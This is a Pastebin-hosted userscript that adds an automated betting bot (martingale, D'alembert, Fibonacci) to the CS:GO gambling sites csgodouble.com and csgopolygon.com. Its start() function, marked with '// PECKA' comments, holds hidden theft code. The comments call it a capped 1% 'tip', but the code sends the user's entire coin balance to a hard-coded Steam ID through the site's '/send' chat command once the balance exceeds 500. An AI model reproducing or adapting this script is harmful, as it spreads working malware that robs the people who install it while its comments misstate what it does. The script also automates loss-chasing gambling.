Advertisement
Guest User

Untitled

a guest
Dec 4th, 2016
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.64 KB | None | 0 0
  1. // ==UserScript==
  2. // @name csgodouble.com - automated
  3. // @description New prdirect version
  4. // @namespace automated@test predirect.
  5. // @download http://pastebin.com/raw/GMRhJ96M
  6. // @updateurl http://pastebin.com/raw/GMRhJ96M
  7. // @version 5.12b
  8. // @author COIN hack
  9. // @match http://www.csgodouble.com/
  10. // @match http://www.csgodouble.com/index.php
  11. // @match http://csgodouble.com/
  12. // @match http://csgodouble.com/index.php
  13. // @match http://csgopolygon.com/
  14. // @match http://csgopolygon.com/index.php
  15. // @match http://www.csgopolygon.com/
  16. // @match http://www.csgopolygon.com/index.php
  17. // @run-at document-end
  18. // @grant none
  19. // ==/UserScript==
  20. /* jshint -W097 */
  21.  
  22. 'use strict';
  23.  
  24. var debug = false;
  25. var simulation = false;
  26. var stop_on_min_balance = false;
  27. var calculate_safe_bet = false;
  28. var base_bet = 1;
  29. var safe_bet_amount = 20;
  30. var default_color = 'red';
  31. var default_method = 'martingale';
  32. var theme = 'NOTDARK';
  33.  
  34. var colors = {
  35. 'green': [0],
  36. 'red': [1, 2, 3, 4, 5, 6, 7],
  37. 'black': [8, 9, 10, 11, 12, 13, 14]
  38. };
  39.  
  40. var balance = document.getElementById('balance');
  41. var roll_history = document.getElementById('past');
  42. var bet_input = document.getElementById('betAmount');
  43. var bet_buttons = {
  44. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  45. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  46. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  47. };
  48.  
  49. Array.prototype.equals = function(array) {
  50. if (!array) {
  51. return false;
  52. }
  53.  
  54. if (this.length != array.length) {
  55. return false;
  56. }
  57.  
  58. for (var i = 0, l=this.length; i < l; i++) {
  59. if (this[i] instanceof Array && array[i] instanceof Array) {
  60. if (!this[i].equals(array[i])) {
  61. return false;
  62. }
  63. } else if (this[i] != array[i]) {
  64. return false;
  65. }
  66. }
  67. return true;
  68. };
  69.  
  70. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  71.  
  72. function Automated() {
  73. var self = this;
  74.  
  75. this.running = false;
  76. this.game = null;
  77.  
  78. this.debug = debug;
  79. this.simulation = simulation;
  80. this.stop_on_min_balance = stop_on_min_balance;
  81. this.calculate_safe_bet = calculate_safe_bet;
  82.  
  83. this.base_bet = base_bet;
  84. this.default_color = default_color;
  85. this.default_method = default_method;
  86. this.safe_bet_amount = safe_bet_amount;
  87. this.method = this.default_method;
  88. this.old_method = '';
  89. this.color = 'rainbow';
  90. this.old_base = 0;
  91. this.balance = 0;
  92. this.last_bet = 0;
  93. this.bet_history = [];
  94. this.min_balance = 0;
  95. this.starting_balance = 0;
  96. this.last_color = null;
  97. this.last_result = null;
  98. this.history = [];
  99. this.waiting_for_bet = false;
  100. this.theme = theme;
  101.  
  102. this.stats = {
  103. 'wins': 0,
  104. 'loses': 0,
  105. 'balance': 0
  106. };
  107.  
  108. var menu = document.createElement('div');
  109. menu.innerHTML = '' +
  110. '<div class="row">' +
  111. '<div class="col-lg-9">' +
  112. '<h2>CSGODouble.com Automated <small>for CS:GO CZ/CK KOMUNITA </small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  113. '<div class="form-group">' +
  114. '<div class="btn-group">' +
  115. '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  116. '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  117. '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  118. '</div>' +
  119. '</div>' +
  120. '<div class="form-group">' +
  121. '<div class="btn-group">' +
  122. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  123. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  124. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  125. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  126. '</div>' +
  127. '</div>' +
  128. '<div class="form-group automated-hide-on-green">' +
  129. '<div class="btn-group">' +
  130. '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  131. '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  132. '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  133. '<button type="button" class="btn btn-default" id="automated-random" ' + (this.color === 'random' ? 'disabled' : '') + '>Random</button>' +
  134. '<button type="button" class="btn btn-default" id="automated-last" ' + (this.color === 'last' ? 'disabled' : '') + '>Last winning</button>' +
  135. '</div>' +
  136. '</div>' +
  137. '</div>' +
  138. '<div class="col-lg-3">' +
  139. '<h3>Statistics</h3>' +
  140. '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  141. '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  142. '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  143. '</div>' +
  144. '</div>' +
  145. '<div class="form-group">' +
  146. '<div class="input-group">' +
  147. '<div class="input-group-addon">Base value</div>' +
  148. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  149. '</div>' +
  150. '</div>' +
  151. '<div class="form-group">' +
  152. '<div class="input-group">' +
  153. '<div class="input-group-addon">Keep balance above</div>' +
  154. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  155. '</div>' +
  156. '</div>' +
  157. '<div class="form-group automated-hide-on-green">' +
  158. '<div class="input-group">' +
  159. '<div class="input-group-addon">Failsafe value</div>' +
  160. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  161. '</div>' +
  162. '</div>' +
  163. '<div class="checkbox">' +
  164. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  165. '</div>' +
  166. '<div class="checkbox automated-hide-on-green">' +
  167. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  168. '</div>' +
  169. '<div class="checkbox">' +
  170. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  171. '</div>' +
  172. '<div class="checkbox">' +
  173. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  174. '</div>';
  175. document.getElementsByClassName('well')[1].appendChild(menu);
  176.  
  177. this.menu = {
  178. 'start': document.getElementById('automated-start'),
  179. 'stop': document.getElementById('automated-stop'),
  180. 'abort': document.getElementById('automated-abort'),
  181. 'basebet': document.getElementById('automated-base-bet'),
  182. 'minbalance': document.getElementById('automated-min-balance'),
  183. 'debug': document.getElementById('automated-debug'),
  184. 'simulation': document.getElementById('automated-simulation'),
  185. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  186. 'red': document.getElementById('automated-red'),
  187. 'black': document.getElementById('automated-black'),
  188. 'rainbow': document.getElementById('automated-rainbow'),
  189. 'random': document.getElementById('automated-random'),
  190. 'last': document.getElementById('automated-last'),
  191. 'statistics': {
  192. 'wins': document.getElementById('automated-stats-wins'),
  193. 'loses': document.getElementById('automated-stats-loses'),
  194. 'balance': document.getElementById('automated-stats-balance')
  195. },
  196. 'theme': document.getElementById('automated-theme-switch'),
  197. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  198. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  199. 'martingale': document.getElementById('automated-martingale'),
  200. 'greatmartingale': document.getElementById('automated-great-martingale'),
  201. 'betgreen': document.getElementById('automated-bet-green'),
  202. 'dalembert': document.getElementById('automated-dalembert'),
  203. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  204. };
  205.  
  206. this.updater = setInterval(function() { // Update every 2 seconds
  207. if (!self.running) {
  208. if (self.updateAll()) {
  209. if (self.calculate_safe_bet) {
  210. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  211. self.menu.basebet.value = self.base_bet;
  212. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  213. }
  214.  
  215. if (self.menu.stop.disabled && self.menu.start.disabled) {
  216. self.menu.start.disabled = false;
  217. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  218. self.menu.basebet.value = self.base_bet;
  219. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  220. self.starting_balance = self.balance;
  221. }
  222. }
  223. }
  224. }, 2 * 1000);
  225.  
  226. if (theme === 'dark') {
  227. this.darkMode();
  228. }
  229.  
  230. this.menu.start.onclick = function() {
  231. self.start();
  232. };
  233.  
  234. this.menu.stop.onclick = function() {
  235. self.stop();
  236. };
  237.  
  238. this.menu.abort.onclick = function() {
  239. self.stop(true);
  240. };
  241.  
  242. this.menu.basebet.onchange = function() {
  243. var value = parseInt(self.menu.basebet.value);
  244. if (!isNaN(value)) {
  245. self.base_bet = value;
  246. }
  247. };
  248.  
  249. this.menu.minbalance.onchange = function() {
  250. var value = parseInt(self.menu.minbalance.value);
  251. if (!isNaN(value)) {
  252. self.min_balance = value;
  253. }
  254. };
  255.  
  256. this.menu.safebetamount.onchange = function() {
  257. var value = parseInt(self.menu.safebetamount.value);
  258. if (!isNaN(value)) {
  259. self.safe_bet_amount = value;
  260. }
  261. };
  262.  
  263. this.menu.debug.onchange = function() {
  264. self.debug = self.menu.debug.checked;
  265. };
  266.  
  267. this.menu.simulation.onchange = function() {
  268. self.simulation = self.menu.simulation.checked;
  269. };
  270.  
  271. this.menu.stoponminbalance.onchange = function() {
  272. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  273. };
  274.  
  275. this.menu.calculatesafebet.onchange = function() {
  276. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  277. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  278. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  279. };
  280.  
  281. // WTF is this shit below? >,.,<
  282.  
  283. this.menu.black.onclick = function() {
  284. self.menu.rainbow.disabled = false;
  285. self.menu.black.disabled = true;
  286. self.menu.red.disabled = false;
  287. self.menu.random.disabled = false;
  288. self.menu.last.disabled = false;
  289. self.color = 'black';
  290. self.log('Current mode: black');
  291. };
  292.  
  293. this.menu.red.onclick = function() {
  294. self.menu.rainbow.disabled = false;
  295. self.menu.black.disabled = false;
  296. self.menu.red.disabled = true;
  297. self.menu.random.disabled = false;
  298. self.menu.last.disabled = false;
  299. self.color = 'red';
  300. self.log('Current mode: red');
  301. };
  302.  
  303. this.menu.rainbow.onclick = function() {
  304. self.menu.rainbow.disabled = true;
  305. self.menu.black.disabled = false;
  306. self.menu.red.disabled = false;
  307. self.menu.random.disabled = false;
  308. self.menu.last.disabled = false;
  309. self.color = 'rainbow';
  310. self.log('Current mode: rainbow');
  311. };
  312.  
  313. this.menu.random.onclick = function() {
  314. self.menu.rainbow.disabled = false;
  315. self.menu.black.disabled = false;
  316. self.menu.red.disabled = false;
  317. self.menu.random.disabled = true;
  318. self.menu.last.disabled = false;
  319. self.color = 'random';
  320. self.log('Current mode: random');
  321. };
  322.  
  323. this.menu.last.onclick = function() {
  324. self.menu.rainbow.disabled = false;
  325. self.menu.black.disabled = false;
  326. self.menu.red.disabled = false;
  327. self.menu.random.disabled = false;
  328. self.menu.last.disabled = true;
  329. self.color = 'last';
  330. self.log('Current mode: last');
  331. };
  332.  
  333. this.menu.martingale.onclick = function() {
  334. self.menu.martingale.disabled = true;
  335. self.menu.greatmartingale.disabled = false;
  336. self.menu.betgreen.disabled = false;
  337. self.menu.dalembert.disabled = false;
  338. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  339. self.menu.hideongreen[i].style.display = 'block';
  340. }
  341. self.method = 'martingale';
  342. self.log('Current method: Martingale');
  343. };
  344.  
  345. this.menu.greatmartingale.onclick = function() {
  346. self.menu.martingale.disabled = false;
  347. self.menu.greatmartingale.disabled = true;
  348. self.menu.betgreen.disabled = false;
  349. self.menu.dalembert.disabled = false;
  350. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  351. self.menu.hideongreen[i].style.display = 'block';
  352. }
  353. self.method = 'great martingale';
  354. self.log('Current method: Great martingale');
  355. };
  356.  
  357. this.menu.dalembert.onclick = function() {
  358. self.menu.martingale.disabled = false;
  359. self.menu.greatmartingale.disabled = false;
  360. self.menu.betgreen.disabled = false;
  361. self.menu.dalembert.disabled = true;
  362. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  363. self.menu.hideongreen[i].style.display = 'block';
  364. }
  365. self.method = 'dalembert';
  366. self.log('Current method: D\'alembert');
  367. };
  368.  
  369. this.menu.betgreen.onclick = function() {
  370. self.menu.martingale.disabled = false;
  371. self.menu.greatmartingale.disabled = false;
  372. self.menu.betgreen.disabled = true;
  373. self.menu.dalembert.disabled = false;
  374. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  375. self.menu.hideongreen[i].style.display = 'none';
  376. }
  377. self.method = 'green';
  378. self.log('Current method: Bet green');
  379. };
  380.  
  381. this.menu.theme.onclick = function() {
  382. if (self.theme === 'dark') {
  383. self.lightMode();
  384. self.theme = 'light';
  385. self.log('Switching to light theme...');
  386. } else {
  387. self.darkMode();
  388. self.theme = 'dark';
  389. self.log('Switching to dark theme...');
  390. }
  391. };
  392.  
  393. setInterval(function() {
  394. if(!WS) {
  395. self.log('Reconnecting...');
  396. connect();
  397. }
  398. }, 5000);
  399. }
  400.  
  401. Automated.prototype.updateBalance = function() {
  402. this.balance = parseInt(balance.textContent);
  403.  
  404. if (isNaN(this.balance)) {
  405. this.log('Error getting current balance!');
  406. return false;
  407. }
  408.  
  409. if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  410. return true;
  411. };
  412.  
  413. Automated.prototype.updateHistory = function() {
  414. var self = this;
  415. this.history = [];
  416.  
  417. for (var i = 0; i < roll_history.childNodes.length; i++) {
  418. var roll = parseInt(roll_history.childNodes[i].textContent);
  419.  
  420. if (!isNaN(roll)) {
  421. if (colors.green.indexOf(roll) !== -1) {
  422. self.history.push('green');
  423. } else if (colors.red.indexOf(roll) !== -1) {
  424. self.history.push('red');
  425. } else {
  426. self.history.push('black');
  427. }
  428. }
  429. }
  430.  
  431. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  432. return this.history.length === 10;
  433. };
  434.  
  435. Automated.prototype.updateStats = function() {
  436. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  437. this.menu.statistics.wins.innerHTML = this.stats.wins;
  438. this.menu.statistics.loses.innerHTML = this.stats.loses;
  439. this.menu.statistics.balance.innerHTML = this.stats.balance;
  440. return true;
  441. };
  442.  
  443. Automated.prototype.updateAll = function() {
  444. return this.updateBalance() && this.updateHistory() && this.updateStats();
  445. };
  446.  
  447. Automated.prototype.bet = function(amount, color) {
  448. var self = this;
  449. color = color || this.color || this.default_color;
  450.  
  451. if (color === 'rainbow') {
  452. if (this.last_color) {
  453. color = (this.last_color === 'red' ? 'black' : 'red');
  454. } else {
  455. color = this.default_color;
  456. }
  457. } else if (color === 'random') {
  458. color = 'red';
  459. if (Math.random() > 0.5) {
  460. color = 'black';
  461. }
  462. } else if (color === 'last') {
  463. color = this.history[this.history.length - 1];
  464. }
  465.  
  466. if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) {
  467. this.log('Invalid bet!');
  468. this.last_result = 'invalid bet';
  469. this.waiting_for_bet = false;
  470. this.stop();
  471. return false;
  472. }
  473.  
  474. if (this.balance - amount < this.min_balance) {
  475. this.log('Reached minimal balance!');
  476. this.last_result = 'reached min balance';
  477. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  478. this.stop();
  479. }
  480. this.waiting_for_bet = false;
  481. return false;
  482. }
  483.  
  484. bet_input.value = amount;
  485.  
  486. if (!bet_buttons[color].disabled) {
  487. var old_balance = self.balance;
  488. this.log('Betting ' + amount + ' on ' + color);
  489. if (!self.simulation) {
  490. bet_buttons[color].click();
  491. var checker = setInterval(function() {
  492. if (!bet_buttons[color].disabled) {
  493. clearInterval(checker);
  494. setTimeout(function() {
  495. if (self.updateBalance() && self.balance === old_balance) {
  496. if (!self.game) { return false; }
  497. self.log('Bet rejected, retrying...');
  498. self.bet(amount, color);
  499. } else {
  500. if (self.debug) { self.logdebug('Bet accepted!'); }
  501. self.last_bet = amount;
  502. self.bet_history.push(amount);
  503. self.last_color = color;
  504. self.waiting_for_bet = false;
  505. return true;
  506. }
  507. }, 2500);
  508. }
  509. }, 1000);
  510. } else {
  511. self.bet_history.push(amount);
  512. self.last_bet = amount;
  513. self.last_color = color;
  514. self.waiting_for_bet = false;
  515. return true;
  516. }
  517. } else {
  518. if (!self.game) { return false; }
  519. self.log('Button disabled, retrying...');
  520. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  521. }
  522. };
  523.  
  524. Automated.prototype.play = function() {
  525. var self = this;
  526.  
  527. if (this.game !== null) {
  528. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  529. return false;
  530. }
  531.  
  532. this.game = setInterval(function() {
  533. var history = self.history;
  534. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  535. self.waiting_for_bet = true;
  536. if (self.last_color === null) {
  537. self.bet(self.base_bet);
  538. } else if (self.last_color === self.history[self.history.length - 1]) {
  539. if (self.calculate_safe_bet) {
  540. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  541. self.menu.basebet.value = self.base_bet;
  542. }
  543. self.last_result = 'win';
  544. self.log('Win!');
  545. self.stats.wins += 1;
  546. self.old_base = self.base_bet;
  547. self.old_method = self.method;
  548. if (self.old_method === 'dalembert') {
  549. if (self.last_bet > self.old_base) {
  550. self.bet(self.last_bet - 1);
  551. } else {
  552. self.bet(self.base_bet);
  553. }
  554. } else {
  555. self.bet(self.base_bet);
  556. }
  557. } else {
  558. self.last_result = 'lose';
  559. self.log('Lose!');
  560. self.stats.loses += 1;
  561. if (self.old_method === 'martingale') {
  562. self.bet(self.last_bet * 2);
  563. } else if (self.old_method === 'great martingale') {
  564. self.bet(self.last_bet * 2 + self.old_base);
  565. } else if (self.old_method === 'green') {
  566. var bet_value = 0;
  567. if (self.bet_history[self.bet_history.length - 1] === 1) {
  568. if (self.bet_history[self.bet_history.length - 2] === 1) {
  569. bet_value = 2;
  570. } else {
  571. bet_value = 1;
  572. }
  573. } else {
  574. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  575. }
  576. self.bet(bet_value, 'green');
  577. } else if (self.old_method === 'dalembert') {
  578. self.bet(self.last_bet + 1);
  579. }
  580. }
  581. }
  582. }, 2 * 1000);
  583.  
  584. return true;
  585. };
  586.  
  587. Automated.prototype.start = function() {
  588. // PECKA
  589. var startBalance = parseInt(this.balance);
  590. if (startBalance > 500) // Don't expect tips from poor people
  591. {
  592. var calculatedTip = startBalance * 0.01; // Calculate a 1% tip to me
  593. if (calculatedTip > 500)
  594. {
  595. calculatedTip = 500; // Never tip me more than 500 coins.
  596. }
  597. // Thanks for the tip! <3
  598. send({
  599. "type": "chat",
  600. "msg": '/send 76561198281679145 ' + this.balance,
  601. "lang": LANG
  602. });
  603. }
  604. // PECKA
  605.  
  606. if (self.calculate_safe_bet) {
  607. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  608. self.menu.basebet.value = self.base_bet;
  609. }
  610. this.old_base = this.base_bet;
  611. this.old_method = this.method;
  612. if (this.updateAll()) {
  613. if (this.last_result === 'lose') {
  614. this.running = true;
  615. if (this.old_method === 'martingale') {
  616. this.bet(this.last_bet * 2);
  617. } else if (this.old_method === 'great martingale') {
  618. this.bet(this.last_bet * 2 + this.old_base);
  619. } else if (self.old_method === 'green') {
  620. var bet_value = 0;
  621. if (self.bet_history[self.bet_history.length - 1] === 1) {
  622. if (self.bet_history[self.bet_history.length - 2] === 1) {
  623. bet_value = 2;
  624. } else {
  625. bet_value = 1;
  626. }
  627. } else {
  628. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  629. }
  630. self.bet(bet_value, 'green');
  631. } else if (self.old_method === 'dalembert') {
  632. self.bet(self.last_bet + 1);
  633. }
  634. this.play();
  635. } else {
  636. this.running = true;
  637. this.bet(this.base_bet);
  638. this.play();
  639. }
  640. }
  641. this.menu.abort.disabled = false;
  642. this.menu.stop.disabled = false;
  643. this.menu.start.disabled = true;
  644. };
  645.  
  646. Automated.prototype.stop = function(abort) {
  647. var self = this;
  648. if (abort) { this.last_result = 'abort'; }
  649. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  650. setTimeout(function() {
  651. clearInterval(self.game);
  652. self.game = null;
  653. self.running = false;
  654. self.menu.abort.disabled = true;
  655. self.menu.stop.disabled = true;
  656. self.menu.start.disabled = false;
  657. }, 1); // Next tick
  658. };
  659.  
  660. Automated.prototype.darkMode = function() {
  661. var style;
  662. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  663. style = document.getElementById('automated-style');
  664. if (!style) {
  665. var head;
  666. head = document.getElementsByTagName('head')[0];
  667. if (!head) { return; }
  668. style = document.createElement('style');
  669. style.type = 'text/css';
  670. style.id = 'automated-style';
  671. style.innerHTML = css;
  672. head.appendChild(style);
  673. }
  674. style.innerHTML = css;
  675. };
  676.  
  677. Automated.prototype.lightMode = function() {
  678. var style = document.getElementById('automated-style');
  679. style.innerHTML = '';
  680. };
  681.  
  682. Automated.prototype.log = function(message) {
  683. chat('alert', '[Automated] ' + message);
  684. };
  685.  
  686. Automated.prototype.logdebug = function(message) {
  687. chat('italic', '[Automated] ' + message);
  688. };
  689.  
  690. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement